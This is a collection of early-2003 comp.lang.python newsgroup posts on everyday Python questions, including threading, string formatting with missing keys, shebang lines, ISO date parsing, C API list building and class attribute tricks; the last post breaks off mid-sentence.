From bokr at oz.net  Tue Jan 21 20:01:44 2003
From: bokr at oz.net (Bengt Richter)
Date: 22 Jan 2003 01:01:44 GMT
Subject: license
References: <mailman.1043169582.29971.python-list@python.org>
Message-ID: <b0kqho$6hm$0@216.39.172.122>

On Tue, 21 Jan 2003 09:16:27 -0500 (EST), Arthur <ajs at ix.netcom.com> wrote:

>|"Arthur" <ajs at i...> wrote previously:
>||>BTW, you still haven't mentioned the package. Tell me THE ||PACKAGE!!! ;)
>
>||I am *never* discrete.
I didn't understand that. I thought it might be some kind of digital joke,
that I didn't grok, so I thought maybe I should be discreet and not say
anything about discrete and discreet being semantically discrete ;-)
 
>
>||But at my age, an opportunity for a new experience is rare.
Condolences, but that sounds like self-fulfilling BS to me. So long as you
have a mind, just waking up affords endless opportunities, unless you have
unbearably distracting pain or such (which I am thankful not to have ;-).

>
>To which the good doctor adds,
>
>|s/discrete/obnoxious/
>|s/rare/elsewhere/
>
>The beauty of this is that I don't know what it means.
I didn't really get that either.
 
>
>I suspect I might.
>
>The fact that it is composed as a message from the initiated
>to the intitiated - says enough.
I guess it left me out ;-/
>
>My alienation from the community would decrease if it  
>credited itself less for being something other than that.
Too many negatives for me to get clear. I.e., do you see a community,
and would you like to feel like you belong to it? I don't see any
real obstacles, do you?
>
Well, I guess at least you belong to the community of people who feel
alienated from communities ;-) Life is short. We're all in this together ;-)

Regards,
Bengt Richter



From phr-n2003b at NOSPAMnightsong.com  Sat Jan 25 17:10:09 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 25 Jan 2003 14:10:09 -0800
Subject: Generating Unique Keys
References: <1043511783.4939.1.camel@refugeeMedia> <15922.49110.110304.235838@montanaro.dyndns.org> <mailman.1043515846.16890.python-list@python.org> <3E32E6EF.AA8C5A69@engcorp.com> <iRCY9.146$qb1.126@nwrddc01.gnilink.net> <mailman.1043531155.16388.python-list@python.org>
Message-ID: <7xfzrgq3su.fsf@ruckus.brouhaha.com>

Mongryong <Mongryong at sympatico.ca> writes:
> Even with a 'randomly' generated session key, a malicious user can still
> steal the session key of a active user.

How?



From tim_one at email.msn.com  Tue Jan 28 22:41:23 2003
From: tim_one at email.msn.com (Tim Peters)
Date: Tue, 28 Jan 2003 22:41:23 -0500
Subject: Starting threads
In-Reply-To: <3E373019.3040606@cascade-sys.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEOBDKAB.tim_one@email.msn.com>

[Lukas Kubin]
>> import threading
>>
>> class Control(threading.Thread):
>>
>>   def run(self):
>>     doTheAction()
>>
>> if __name__ == '__main__':
>>
>>   for comp in Computers:
>>     thread = Control()
>>     thread.start()
>>     time.sleep(.005)   # <-- This is what I still need to use

[James J. Besemer]
> Without the sleep (and even with it) your main thread can exit
> immediately after starting the "Control" threads.

That's so.

> This can be before the threads finish and even before some or all
> of them actually really get started.

That too.

> There may be some implementations where the main thread waits for the
> other threads to finish but on some implementations, exiting the main
> thread definitely kills off the other threads whether they finish or
> not.

That's true of threads created by the thread module, but not of threads
created by the threading module (which Lukas is using):  Python arranges for
the main thread to do (an implicit) t.join() on every thread t created by
the threading module before allowing the main thread to exit, except for
threads explicitly set to be daemon threads.

I didn't find the OP's original post clear enough to guess what the real
problem was.  Knowing the Python version and OS would help.





From lazypointer at yahoo.com  Tue Jan  7 03:19:51 2003
From: lazypointer at yahoo.com (Byron Morgan)
Date: Tue, 07 Jan 2003 08:19:51 GMT
Subject: Why does this not work?
References: <2355358.1041918087@dbforums.com>
Message-ID: <H4wS9.836$kt5.79085737@newssvr13.news.prodigy.com>

try

if a in (0,1) and b in (0,1):


"Tetsuo" <member16943 at dbforums.com> wrote in message
news:2355358.1041918087 at dbforums.com...
>
> You know you suck if the calculator you are making isn't required to add
> 2 and 2, and you still can't get it to work.
>
> s = 0
> c = 0
> def halfadder(a, b):
>     if a and b in (0, 1):
>         if a and b == 1:
>             s = 1
>             c = 0
>             print s, c
>         elif a and b == 0:
>             s = 0
>             c = 0
>             print s, c
>         else:
>             s = 0
>             c = 1
>             print s, c
>     else:
>         print "Number out of range! Enter 0 or 1, please."
>
> halfadder(1,1)
> halfadder(1,0)
> halfadder(0,1)
> halfadder(0,0)
>
> --
> Posted via http://dbforums.com





From ajs at ix.netcom.com  Tue Jan 21 09:16:27 2003
From: ajs at ix.netcom.com (Arthur)
Date: Tue, 21 Jan 2003 09:16:27 -0500 (EST)
Subject: license
Message-ID: <7939989.1043169480388.JavaMail.nobody@dewey.psp.pas.earthlink.net>

|"Arthur" <ajs at i...> wrote previously:
||>BTW, you still haven't mentioned the package. Tell me THE ||PACKAGE!!! ;)

||I am *never* discrete.
||But at my age, an opportunity for a new experience is rare.

To which the good doctor adds,

|s/discrete/obnoxious/
|s/rare/elsewhere/

The beauty of this is that I don't know what it means. 

I suspect I might.

The fact that it is composed as a message from the initiated
to the intitiated - says enough.

My alienation from the community would decrease if it  
credited itself less for being something other than that.

Art




From gyromagnetic at excite.com  Mon Jan 13 12:11:53 2003
From: gyromagnetic at excite.com (gyro)
Date: Mon, 13 Jan 2003 10:11:53 -0700
Subject: string formatting with missing dictionary key 
Message-ID: <3e22f35a@news.ColoState.EDU>

Hi,
A nice feature of later versions of Python is the ability to get and set 
undefined keys/values in dictionaries (dict.get,dict.setdefault).

However, this mechanism doesn't seem to be usable directly for a case in 
which I am interested. I have an application in which I have a 
formatting 'template' and a dictionary from which I get values for the 
template.
In certain situations, there is a dictionary that doesn't have one or 
more keys specified in the formatting string. In these cases, I get the 
expected 'KeyError'.

As a very simple example, consider

mdict = {'a':1, 'b':2, 'c':3}
fline = "%(a)s ; %(d)s ; %(e)s" % mdict

Suppose you want any undefined keys to have the value 'default', i.e.

fline == "1 ; default ; default"


As far as I can see, there is no direct way to use .get/.setdefault to 
do something like

"%(a)s ; %(d)s ; %(e)s" % mdict.setmissingkeyval('default')

so I have come up with the following workaround:

 >>> mdict = {'a':1, 'b':2, 'c':3}
 >>> fline = ''
 >>> while not fline:
...   try:
...     fline = "%(a)s ; %(d)s ; %(e)s" % mdict
...   except KeyError,e:
...     dummy = mdict.setdefault(e.args[0],'default')


Is there a better or more Pythonic way to do this?

Thanks for your help.

-g




From noah at noah.org  Mon Jan  6 16:29:20 2003
From: noah at noah.org (Noah)
Date: 6 Jan 2003 13:29:20 -0800
Subject: How do I start Mac Python scripts from Excel?
Message-ID: <c9d82136.0301061329.45a09a71@posting.google.com>

I'm a Macintosh newbie. I wrote a script for a client
that compresses and encrypts an Excel spreadsheet and
then posts it to a web site. It runs great as a 
stand-alone Python Applet on MacOS 9.1. 
I'm using Jack Jansen's MacPython 2.22 distribution.

The client would like a button on their Excel spreadsheet 
that activates a Python script. I'm fairly experienced with 
VBA on Windows, but I have no Mac experience. 
I can create a button and edit the VBA code on Mac, so 
there are no problems there.

1. How do I launch the Python applet from Excel?

2. How do I prevent or dismiss the "Output" window that
always comes up when I run a Python Applet on Mac?

Thanks!

Yours,
Noah



From i.linkweiler at web.de  Mon Jan 27 03:59:47 2003
From: i.linkweiler at web.de (Ingo Linkweiler)
Date: Mon, 27 Jan 2003 09:59:47 +0100
Subject: BDE mit Python?
Message-ID: <3E34F503.2000906@web.de>

Ist es m?glich, mit Python auf eine Borland Datenbank (BDE) zuzugreifen?
Welche Module kann ich daf?r verwenden?

Ingo




From rcellis at email.com  Sat Jan 11 15:10:59 2003
From: rcellis at email.com (R. C. Ellis)
Date: Sat, 11 Jan 2003 20:10:59 GMT
Subject: idle will not start
References: <NoTT9.4808$pn3.184916120@newssvr15.news.prodigy.com>
Message-ID: <3E207A94.1090103@email.com>

Robert Hord wrote:
> I have install the RH 8.0 with python.  When I start ./idle I get an error 
> "no module named ildelib".  I have done a find -name /usr idlelib with no 
> results.  I also did an ./idle.py with an error "no module named Tkinter".  
> I have installed the tcl/tk from the RH cd.  
> 
> ? Anyone know what I'm missing ?
> 

 From what I understand from other on-line sources, RedHat chose NOT to 
include Tkinter in it's python install.

In my case I downloaded the latest Python tgz file from python.org 
(which includes Tkinter, supposedly) and did the configure-make-make 
install, but it *Still* is unable to find the necessary files to access 
Tkinter libs.  I've fiddled with all the available environment 
variables, "locate"ed the Tkinter file - no luck.  I've asked the 
follow-on question relating to this: to wit, "OK What do I do now?" or 
"What did I miss and get wrong?"

RC




From sandskyfly at hotmail.com  Wed Jan  8 10:07:15 2003
From: sandskyfly at hotmail.com (Sandy Norton)
Date: 8 Jan 2003 07:07:15 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com> <b03e80d.0301070427.6db0ff67@posting.google.com> <52719db8.0301072113.3c143cfe@posting.google.com>
Message-ID: <b03e80d.0301080707.32fa64a5@posting.google.com>

judoscript at hotmail.com (James Huang) wrote in message 

> So you went to the whitepaper, searched on "jython" in the browser and
> finished your research (actually, search)? Doing a language is a huge
> undertaking; it would indeed be ludicrous to start one without looking
> around first.

I didn't merely search on 'jython', I actually followed some of the
examples through. Actually, it first reminded me a little bit of rebol
which has some nifty high level commands like "send person at address.com
file.txt". My initial reaction to that was "wow, that's cool... let me
try rebol out". After a few attempts to use the language, I got
somewhat frustrated with the syntax and semantics and decided to write
a module called 'rebol.py' instead, implementing the functionality I
could use on top of the python standard library infrastructure. So now
I can write

>>> from rebol import send
>>> send('person at address.com', 'file.txt')

My approach to your examples would be similar. I would use elements of
the python standard library and implement my 'preferred level' of
abstraction.

so for this particular example:

> -------------------------------------
> copy '*.java, *.jj' in '~/src/' except '*Test*, *test*'
>      recursive
>      into '~/archive/src_' @ date().fmtDate('yyyy-MM-dd') @ '.jar';
> -------------------------------------

>>> from pathlib import Path
>>> from time import strftime, gmtime
>>> src = Path('~/src/', 
            glob=['*.java', '*.jj'], 
            skip=['*Test*', '*test*'], 
            recursive=True)

>>> dst = Path(r'~/archive/src_') + strftime("%y-%m-%d", gmtime()) +
'.zip'
>>> src.copy(dst)

Now your example may be shorter, but I daresay mine is a little bit
more flexible, as I could now do:

>>> src.delete()

I applaud your efforts to develop a language that conforms to your
needs... but somehow, I just prefer Python.

Sandy



From deadair at swirvemail.com  Mon Jan  6 19:01:09 2003
From: deadair at swirvemail.com (deadair88)
Date: 6 Jan 2003 16:01:09 -0800
Subject: Newbie need's help & will give back what I can???
References: <eB0S9.20176$Sa3.725600@twister.tampabay.rr.com>
Message-ID: <fda1f7e0.0301061601.5759d08d@posting.google.com>

<fcoldwat at tampabay.rr.com> wrote in message news:<eB0S9.20176$Sa3.725600 at twister.tampabay.rr.com>...
> Hay this Shane.....
>     I need some very
> easy projects to start with is all....Just till I get used to all this...And
> yes this is my first time programming to...But im a quick learner and am not
> scared to jump into this...

Python is great language to learn with. It is very well constructed
which IMHO makes it very user friendly, great for beginners.
http://www.python.org/doc/Newbies.html is a good spot to start. The
tutorial that is included in the documentation might be a little
confusing to those just getting their first taste.

As for projects your best bet is to work all the examples provided
with the tutorials. Try to write some programs using simple algebraic
principles. Here, I'll give ya a lil project...

Use the Sieve of Eratosthenes
(http://www.utm.edu/research/primes/prove/prove2_1.html) to find small
prime numbers up to, oh say 10000. Thats a good problem for a
newbie...gets u used to real life aplication.

Good luck,
deadair



From peter at engcorp.com  Thu Jan  9 10:06:36 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 09 Jan 2003 10:06:36 -0500
Subject: get instance name  inside of member function
References: <3E1D869F.2050809@emsys.de>
Message-ID: <3E1D8FFC.78FA61D1@engcorp.com>

Ralf Oberl?nder wrote:
> 
> Hi gurus,
> 
> is it possible to get the name of the instance inside a member function:

Basically, no.  The question is broken though: in Python there is
not _the_ name, only _a_ name.  An object cannot find "the" name 
bound to it because there can be many.

> class a:
>      def inst_name():
>          pass
> 
> inst=a
> 
> so that
> 
> inst.inst_name()
> 
> results in the string "inst"
> 
> I need it for logging

Good that you provided your actual goal; most people do not.

For logging, it's normal to supply "the" name to the initializer
when you create the instance, and use that in logging.

class A:   # also standard style to use Capitalized name for a class
    def __init__(self, name):
        self.name = name
    def inst_name():
        return self.name

inst = A('anA')
inst.inst_name()  

# returns 'anA'

-Peter



From rganesan at myrealbox.com  Fri Jan 24 00:25:40 2003
From: rganesan at myrealbox.com (Ganesan R)
Date: 24 Jan 2003 10:55:40 +0530
Subject: People have started mailing me ms-word docs (groan).
References: <mailman.1043368965.4673.python-list@python.org>
Message-ID: <ouy95bf7aj.fsf@andlx-anamika.cisco.com>

>>>>> "Laura" == Laura Creighton <lac at strakt.com> writes:

> Saving the attatchment and then opening them with OpenOffice is getting
> tedious.  Has anybody written a python program that runs under linux
> and converts ms-word MIME attatchments to something readable?

> Laura Creighton

Not in python, but, by far, the best ms-word terminal based reader is
antiword. See http://www.winfield.demon.nl/.  I am a happy user for a 
couple of years now :-).

Ganesan

-- 
Ganesan R




From grey at despair.dmiyu.org  Thu Jan  2 21:55:10 2003
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Fri, 03 Jan 2003 02:55:10 -0000
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org>
Message-ID: <slrnb19use.h00.grey@teleute.dmiyu.org>

On Thu, 02 Jan 2003 16:51:46 GMT, Robin Munn <rmunn at pobox.com> wrote:
> If vi isn't your cup of tea, you won't like Vim. 

    Poss.  I can't stand vi but love vim.  :P

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
    To email: Don't despair!   |  -- Lenny Nero, Strange Days
-------------------------------+---------------------------------------------



From sholden at holdenweb.com  Thu Jan  9 16:32:15 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Thu, 9 Jan 2003 16:32:15 -0500
Subject: Use /usr/bin/env python  ... why?
References: <8b67aef5.0301091244.1c6caec1@posting.google.com>
Message-ID: <wVlT9.30621$u9.8151@fe08>

Tim Cargile" <tecargile at hotmail.com> wrote ...
> There was a previous thread on this that referenced a python.org FAQ
> that I thought was incomplete.  As a casual observer I would
> like to submit the following - in the order of most to least efficient
> and least to most flexible (perhaps):
>
> Use '#!/usr/bin/python' when:
>
>       The location of 'python' can be or is guaranteed to
>       be '/usr/bin' AND one one wants the least execution
>       overhead AND does not wish to alter the 'python' runtine
>       environment. Or when PATH searching is not possible
>       for some reason (restricted environment - cron job).
>
> Use '#!/python' when:
>
Don't think you want a leading slash in there, old chap. Very few people
actually put the interpreter in the root directory (though of course we all
know that's where it belongs :-)

>       The location of 'python' cannot be guaranteed to be 'usr/bin'
>       (or any other locaton) AND one one is willing to incur the
>       overhead of a PATH search AND a PATH search is possible
>       AND does not wish to alter the 'python' runtine environment.
>       I have tested this under Cygin with both 'ksh' and 'python'
>       and it works as one would expect.
>
That's as may be, but (for example) Red Hat 8.0 certainly won't have any of
that. I get the same result whether the slash is included or not:

[sholden at munger sholden]$ cat pytest
#!python

print "Hello";

[sholden at munger sholden]$ ls -l pytest
-rwxrwxr-x    1 sholden  sholden        26 Jan  9 16:28 pytest
[sholden at munger sholden]$ ./pytest
bash: ./pytest: python: bad interpreter: No such file or directory
[sholden at munger sholden]$ python
Python 2.2.1 (#1, Aug 30 2002, 12:15:30)
[GCC 3.2 20020822 (Red Hat Linux Rawhide 3.2-4)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>

"python pytest" works just fine, of course.

> Use '#!/usr/bin/env python' when:
>
>       The location of 'env' is guaranteed to be '/usr/bin'
>       AND when it is desired to alter the environment prior
>       to execution of 'python' AND when one is willing to
>       incur the overhead (not as minimal as a PATH search)
>       of starting 'env' and one cannot guarantee the location
>       of 'python' and one is willing to incur the (minimal)
>       overhead of a PATH search for 'python'.  Incidentally,
>       I could measure the performance hit (in 10ths of seconds)
>       of running with the startup overhead of 'env' on my
>       900 Mhz laptop under Cygwin.  On a System with 2000 users
>       (not even my laptop) it might make a difference).
>
> Use '#!env python' when:
>
>       The location of 'env' cannot be guaranteed AND the
>       location of 'python' cannot be guaranteed AND
>       it is desired to alter the environment prior
>       to execution of 'python' AND one is willing to
>       incur the overhead (admittedly minimal) of searching
>       the PATH for 'env' AND starting 'env' (not so minimal)
>       and serching the PATH for 'python'.  A lot of 'AND's in this one.
>
I think this will have the same problems outlined above for "python".

> It appears as though the PRIMARY intent of the 'env' utility
> is to alter the environment - not force a PATH search for the
> executable.  I have never seen a "#!" line that actually altered
> the environment.  Has anyone?
>
> Oh well, at least I have not seen these:
>
>  #!env /usr/bin/python
>
>    and
>
> #!/usr/bin/env /usr/bin/python
>
> These works also, but have yet to observe them in the wild.
>
> I'm wondering why I see so many (like 100%) '#!/usr/bin/env python'
> lines ... in the Cygwin release, at least.  I don't believe this
> is a religious issue.  It is simple mechanics/logic.  Computers
> are only machines ... except for the UNIVAC ... it was God.
>
Mostly you see it because it's about the most likely to succeed, I suspect.
Sure, it has problems, but then what doesn't?

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/

"






From pyth at devel.trillke.net  Tue Jan 21 22:31:25 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Wed, 22 Jan 2003 04:31:25 +0100
Subject: Can anyone decode this Perl code, please?
In-Reply-To: <ba1e306f.0301211907.25fc9037@posting.google.com>; from janeaustine50@hotmail.com on Tue, Jan 21, 2003 at 07:07:33PM -0800
References: <ba1e306f.0301211907.25fc9037@posting.google.com>
Message-ID: <20030122043125.L2724@prim.han.de>

Jane Austine wrote:
> I am reading Object-Oriented Reengineering Patterns. I really enjoy
> this book. On p.177, however, there is a perl code, which is all Greek
> to me. Can anyone here translate it into a pseudo-code or a python
> code(literal translation might do)?

> [lots of hieroglyphs deleted]

how much do you pay per hour?  

Though i am really just joking i do wonder what kind of book 
you are reading.  Is this code supposed to be an example
of OO or a target for urgent reengineering? 

sorry-to-be-of-not-much-help-ly y'rs, holger




From mertz at gnosis.cx  Thu Jan 23 13:45:37 2003
From: mertz at gnosis.cx (David Mertz)
Date: Thu, 23 Jan 2003 13:45:37 -0500
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DFBC6.32058F2C@alcyone.com>
 <b68f71a7.0301220333.143efd58@posting.google.com>
 <dJHX9.7044$Sv3.695182@newsread1.prod.itd.earthlink.net>
 <3E301F4A.3060803@nipltd.com>
Message-ID: <RhDM+kKkXs4V092yn@gnosis.cx>                       

Chris Keyes <chrisk at nipltd.com> wrote previously:
|I'm sure IBM do use Python, their guys write articles about it

I think you probably mean me, and Uche, and Patrick O'Brien, as "their
guys."  But developerWorks doesn't really have much to do with what IBM
as a whole does, just what some freelancers want to write about.

Actually, that's what makes dW such a wonderful site (much better, IMO,
than the "similar" efforts by other large computer/software companies).
IBM provides a general resource for developers, not merely a way to
market/sell some more IBM products.  But heck... just to pitch in:  IBM
does, indeed, make a number of quite excellent products. :-)

I'm not saying IBM *doesn't* use Python.  I just don't know, even though
I am very happy that they pay me money to write articles about it.

Yours, David...

--
    _/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY: Postmodern Enterprises _/_/_/
   _/_/    ~~~~~~~~~~~~~~~~~~~~[mertz at gnosis.cx]~~~~~~~~~~~~~~~~~~~~~  _/_/
  _/_/  The opinions expressed here must be those of my employer...   _/_/
 _/_/_/_/_/_/_/_/_/_/ Surely you don't think that *I* believe them!  _/_/





From jon_bills at hotmail.com  Wed Jan  8 08:33:11 2003
From: jon_bills at hotmail.com (Jon Bills)
Date: Wed, 8 Jan 2003 13:33:11 -0000
Subject: no side effects
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>
Message-ID: <avh9bi$19i3@cvis05.marconicomms.com>

Michele Simionato wrote:
> I was surprised by the following code:
>
>>>> for i in [1,2,3]:
> ...     print i,
> ...     i=3
>
> I would have expected only 1 to be printed, but instead Python
> continues the loop without noticing that the value of i has
> changed. IOW, no side effect.

>From http://www.python.org/doc/current/ref/for.html...

"The suite may assign to the variable(s) in the target list; this does not
affect the next item assigned to it. "

Cheers,

Jon.





From ffrederik at gmx.de  Wed Jan  1 18:07:50 2003
From: ffrederik at gmx.de (Frederik Fuest)
Date: Thu, 2 Jan 2003 00:07:50 +0100
Subject: GUI-programming
Message-ID: <20030101230749.GA4773@r55.studdorf.wh.tu-darmstadt.de>

Hi,

I would like to programm my GUI, that you can start more than one
process at the same time by e.g. clicking different buttons. 

Could anybody help me with this?

thx

Frederik




From andrew.henshaw at gtri.gatech.edu  Fri Jan 31 22:41:05 2003
From: andrew.henshaw at gtri.gatech.edu (Andrew Henshaw)
Date: Fri, 31 Jan 2003 22:41:05 -0500
Subject: datetime module: iso date *input* needed
References: <20030130181727.5a006f5d.gry@ll.mit.edu> <6rdj3v0kb3rs06usn1pr4v4f13u59cidc5@4ax.com>
Message-ID: <v3mgefdpl1ee63@corp.supernews.com>

Dale Strickland-Clark wrote:

> george young <gry at ll.mit.edu> wrote:
> 
>>[python 2.3a1, linux]
>>I'm using the 2.3a datetime module.  The datetime.isoformat() works
>>nicely:
>>  >>> import datetime
>>  >>> d=datetime.datetime.now()
>>  >>> d
>>  datetime.datetime(2003, 1, 30, 17, 48, 7, 848769)
>>  >> d.isoformat()
>>  '2003-01-30T17:48:07.848769'
>>
>>but now I need a way to make a datetime object from a date in iso format.
>>I can't find a function in datetime to do this, e.g. something like:
>>  d=datetime.datetime.parse_iso('2003-01-30T17:48:07.848769')
>>
>>I thought about using the time module strptime function, but it doesn't do
>>fractions of a second.  I used to move date/times between python and
>>postgres as epoch integers, but I hope to change to a human-readable
>>format for better debugging.
>>
>>I'm sure I could do this somehow with mx.DateTime, but if the datetime
>>module is going to be the new standard, I would like to use it in my new
>>code...
>>
>>-- George
> 
> A bit of a sledgehammer but what about:
> 
>>>> import re
>>>> t = '2003-01-30T17:48:07.848769'
>>>> p = re.compile('[.:T-]')
>>>> isobits = [int(s) for s in p.split(t)]
>>>> isobits
> [2003, 1, 30, 17, 48, 7, 848769]
>>>> apply(datetime.datetime, isobits)
> 
> I assume this will work but I don't have 2.3a installed so no datetime
> module to play with.
> 
> --
> Dale Strickland-Clark
> Riverhall Systems Ltd

Wouldn't you have ambiguities with the fractional portion (e.g..0848 and 
.848)? Perhaps it would be best to leave the seconds in floating-point 
format.

Andy





From bokr at oz.net  Sun Jan 19 22:24:27 2003
From: bokr at oz.net (Bengt Richter)
Date: 20 Jan 2003 03:24:27 GMT
Subject: __parent__ - like attribute?
References: <av7cuu$cu2$1@slb0.atl.mindspring.net> <YhlS9.24314$NB4.6001@FE05> <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com> <mailman.1042947586.19440.python-list@python.org> <mailman.1042955509.8397.python-list@python.org> <mailman.1042992953.21493.python-list@python.org>
Message-ID: <b0fq5b$omt$0@216.39.172.122>

On Sun, 19 Jan 2003 08:15:45 -0800, Dylan Reinhardt <python at dylanreinhardt.com> wrote:

>At 03:41 AM 1/19/2003, Bengt Richter wrote:
>>Why not write minimal code to illustrate?
>
>
>My first post had this minimal code example:
>
Ok, sorry for my comment.
>
>-------------------------
>
>class spam:
>     __init__(self):
>         self.stuff = eggs()
>         self.changed = 0
>
>class eggs:
>     def do_stuff(self):
>         # after we've done the main part of our work,
>         # signal parent object that information has changed
>         self.__some_namespace_voodoo__.changed = 1
>         return something_unrelated
>
>a = spam()
>b = spam()
>x = a.stuff.do_stuff()   #  <--- should set value of a.changed to 1
>x = b.stuff.do_stuff()   #  <--- should set value of b.changed to 1
>
>-------------------------
>
>
>>several_instances_of_spam[an_index_less_than_several].get_contained_egg(
>>     index_less_than_thousands).changed_attr = some_change
>
>
>The whole point of doing it the way I'm doing it is to provide a clean, 
>Pythonic interface, thus:
>
>spam_instance.egg_instance.egg_method()
>
>should have a side effect on the spam instance.
>
I presume you mean "should" as a requirement of your problem, not
"should because a spam has a reference in it to an egg (BTW, uppercasing
the class name's first letter makes it so we can write Spam and spam
for short instead of spam and spam_instance ;-)

If you made Egg inherit from Spam, there would be a natural "should"
implemented in the attribute access machinery's search sequence. E.g.,
since stuff is an attribute of Spam, you could monitor its use and
though it's not going to be near as fast as direct references, it might
be interesting to file for alternative ideas ... well, easier to show
than talk about ;-)

====< spameggs.py >========================================
class Spam(object):
    stuff_monitoring_list = []
    def _set_changed(self, v): self._changed = v
    def _get_changed(self):
        if self.__class__ is Spam:
            for egg in self.stuff_monitoring_list:
                self._changed = self._changed or egg.changed
            self.stuff_monitoring_list = []
        return self._changed
    changed = property(_get_changed, _set_changed)
    def _set_stuff(self, v): self._stuff = v
    def _get_stuff(self):
        self.stuff_monitoring_list.append(self._stuff)
        return self._stuff
    stuff = property(_get_stuff, _set_stuff)
    def __init__(self):
        self.stuff = Eggs()
        self.changed = 0

class Eggs(Spam):
    def __init__(self): pass # must define or we get recursion via self.stuff above
    def do_stuff(self):
        # after we've done the main part of our work,
        # signal parent object that information has changed
        ## self.__some_namespace_voodoo__.changed = 1
        self.changed = 1 # should find property in parent class
        return 'something_unrelated' ## string, to avoid name error here

if __name__ == '__main__':
    a = Spam()
    b = Spam()
    print 'a=%s a.changed=%s' % (a, a.changed)
    print 'b=%s b.changed=%s' % (b, b.changed)
    
    print 'a.stuff_monitoring_list = %s' % a.stuff_monitoring_list
    x = a.stuff.do_stuff()   #  <--- should set value of a.changed to 1
    print 'a.stuff_monitoring_list = %s' % a.stuff_monitoring_list
    print 'a._changed = %s, a._stuff._changed = %s' % (a._changed, a._stuff._changed)
    print 'a.changed = %s' % a.changed
    print 'a.stuff_monitoring_list = %s' % a.stuff_monitoring_list
    print 'a._changed = %s, a._stuff._changed = %s' % (a._changed, a._stuff._changed)
    print 'b.stuff_monitoring_list = %s' % b.stuff_monitoring_list
    x = b.stuff.do_stuff()   #  <--- should set value of b.changed to 1
    print 'b.stuff_monitoring_list = %s' % b.stuff_monitoring_list
    print 'b.changed = %s' % b.changed
    print 'b.stuff_monitoring_list = %s' % b.stuff_monitoring_list
===========================================================

If you run it, you get:

[19:14] C:\pywk\clp>spameggs.py
a=<__main__.Spam object at 0x007E0F70> a.changed=0
b=<__main__.Spam object at 0x007E0570> b.changed=0
a.stuff_monitoring_list = []
a.stuff_monitoring_list = [<__main__.Eggs object at 0x007E0F40>]
a._changed = 0, a._stuff._changed = 1
a.changed = 1
a.stuff_monitoring_list = []
a._changed = 1, a._stuff._changed = 1
b.stuff_monitoring_list = []
b.stuff_monitoring_list = [<__main__.Eggs object at 0x007E0540>]
b.changed = 1
b.stuff_monitoring_list = []


>>What is your concept of "subobject"?
>
>Hopefully this should be clear from the code example.
>
>>Sure, there's any number of ways to do it. But to choose one, we need to know
>>how well/badly the above code reflects your problem world.
>
>Does the provided code do it?
>
>>    class Egg:
>>         def __init__(self, my_container):
>>             self.my_container = my_container
>
>
>This is actually what I'm doing now.  If this is the best available answer, 
>I can certainly live with that, but it been surprised at what some of the 
>namespace wizards here have come up with in the past, so I thought I'd see 
>if there is a more elegant/efficient answer.
>
I doubt if you could get more efficient than a direct reference, but the property
stuff might be interesting. Note that the Spam and Egg ._changed attributes attach
to Spam and Egg instances respectively, but .changed goes through the property whether
inherited or not -- but the accessor methods see different self instances. An egg
instance still doesn't know about its "parent" container instance, but the Egg class
does Know about the base Spam class, and an instance of either can find a Spam class
variable like the stuff_monitoring_list.

Of course, a reference in that list keeps an egg instance alive, so if that is a
consideration, you might want to look into weak references, which would allow eggs
to be deleted and their deletion later noticed via the weak references.
>
>>If you are in control over everything, there are going to be better ways, 
>>but it's
>>not clear whether you are trying to tweak some big stuff you don't want to 
>>bother fully
>>understanding, or whether you have creative control.
>
>The latter.  I'm an experienced developer working on code I have total 
>control over.
>
>Thanks in advance,
>
Always fun to explore ;-)

Regards,
Bengt Richter



From martin at v.loewis.de  Sun Jan 12 16:29:52 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 12 Jan 2003 22:29:52 +0100
Subject: How does a C API-function returns a list  to python
In-Reply-To: <3E21CB52.61543E67@imms.de>
References: <3E21CB52.61543E67@imms.de>
Message-ID: <avsmoa$nqp$06$1@news.t-online.com>

torsten.maass at imms.de wrote:
> I want to write a communication-functions set for a special
> hardware component for python using C API.
> 
> Does anybody know if and how it is possible to return a list 
> to python from a read C-Array.

 > double a[5]={1.0,2.0,3.0,4.0,5.0};

Try to avoid Py_BuildValue if you can. Instead, I recommend something like

   len = sizeof(a)/sizeof(a[0]);
   result = PyList_New(len);
   if (!result)return NULL;
   for (i=0; i<len; i++){
     PyObject *item = PyFloat_FromDouble(a[i]);
     if(!item){
       Py_DECREF(result);
       return NULL;
     }
     PyList_SET_ITEM(result, i, item);
   }
   return result;

Regards,
Martin




From jon at csh.rit.edu  Wed Jan 29 02:31:00 2003
From: jon at csh.rit.edu (Jon Parise)
Date: Wed, 29 Jan 2003 02:31:00 -0500
Subject: php frontend, python backend
In-Reply-To: <b17jev$kaq$2@news-int.gatech.edu>
References: <bfac4f24.0301281429.6783ab5a@posting.google.com> <b17jev$kaq$2@news-int.gatech.edu>
Message-ID: <20030129073100.GA27277@csh.rit.edu>

On Tue, Jan 28, 2003 at 10:55:24PM -0500, grayrest wrote:

> >My webhost accept php but not python, but i want to use python with
> >mysql for my website. So i want know if its possible to have php as
> >frontend, and backend logic in python, and how to do that?
> >I dont want to use too much php code, because it is crap and messy.
> >Thanks
> 
> Looks like you'll have to be using php. Unless, of course, you have 
> another server that you can run python on and trade remote messages, but 
> if you do have such a server why not host your app there?
> 
> Running Python requires a python interpreter, if you don't have one you 
> can't run python on that computer.

Or you could embed Python in PHP:
 
